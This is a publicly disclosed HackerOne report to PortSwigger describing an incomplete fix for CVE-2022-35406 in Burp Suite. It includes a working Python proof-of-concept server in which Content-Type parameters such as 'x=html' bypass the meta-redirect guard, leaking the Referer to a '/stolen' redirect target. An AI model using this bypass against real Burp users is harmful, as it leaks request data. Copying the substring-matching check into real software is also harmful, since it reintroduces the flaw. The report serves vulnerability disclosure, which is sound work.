HexBrain

PortSwigger Web Security · Report #3775183

Incomplete fix for CVE-2022-35406: meta-redirect content-type check bypassable via parameter injection

Informativestatus
highseverity
18upvotes
2 Jun 2026disclosed

How it was found

The fix for CVE-2022-35406 (#1541301) stops Burp from following a <meta http-equiv="refresh"> redirect when the response Content-Type/Content-Disposition would prevent HTML rendering. The check substring-matches html in the raw Content-Type instead of parsing the media type. A text/plain response can smuggle the token via a parameter (e.g. Content-Type: text/plain; x=html), and Burp again offers and follows the meta redirect reintroducing the patched behaviour.

Root cause

The content-type guard searches for the substring html in the raw header value rather than parsing the media type and discarding parameters. Any html token in a parameter name, value, quoted or not satisfies the check while the real MIME type stays text/plain.

Steps to reproduce

  1. server.py
#!/usr/bin/env python3
from http.server import BaseHTTPRequestHandler, HTTPServer

META = ('<html><head><meta http-equiv="refresh" '
        'content="0;url=http://127.0.0.1:9000/stolen"></head><body>x</body></html>')

CASES = {
    "/ct_plain":       "text/plain",                 # control: blocked
    "/ct_param_plain": "text/plain; x=hello",        # control: blocked (no 'html')
    "/ct_param_html":  "text/plain; x=html",         # BYPASS: followed
    "/ct_texthtml":    "text/plain; x=text/html",    # BYPASS: followed
    "/ct_quoted":      'text/plain; x="text/html"',  # BYPASS: followed
}

class H(BaseHTTPRequestHandler):
    protocol_version = "HTTP/1.1"
    def log_message(self, *a): pass
    def do_GET(self):
        ct = CASES.get(self.path)
        if ct is None:
            self.send_response(404); self.send_header("Content-Length","0")
            self.send_header("Connection","close"); self.end_headers(); return
        b = META.encode()
        self.send_response(200)
        self.send_header("Content-Type", ct)
        self.send_header("Content-Length", str(len(b)))
        self.send_header("Connection", "close")
        self.end_headers()
        try: self.wfile.write(b)
        except BrokenPipeError: pass
        self.close_connection = True

if __name__ == "__main__":
    print("PoC server on http://127.0.0.1:8000")
    HTTPServer(("127.0.0.1", 8000), H).serve_forever()

  1. Run

python3 server.py

  1. In Repeater (HTTP/1), send this request:
GET /ct_param_html HTTP/1.1
Host: 127.0.0.1:8000
Referer: http://127.0.0.1:8000/secret-page
Connection: close
  1. The response is Content-Type: text/plain (with a bogus ; x=html parameter) containing a <meta http-equiv="refresh"> redirect. Despite the non-renderable text/plain type, the Follow redirection button appears.
  2. Click Follow redirection → Burp follows the meta redirect and issues the request to the redirect target, sending the Referer header.
  3. (Control) Repeat with GET /ct_param_plain (text/plain; x=hello, no html token) → no Follow redirection button, not followed. This confirms the html substring is what triggers the bypass.

Click Follow redirection:

POC {F6021058}

It discloses the referer header

Impact

A text/plain response that should be treated as non-renderable is again interpreted as a redirect in Repeater/Intruder, re-enabling the meta-redirect follow that CVE-2022-35406 patched.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original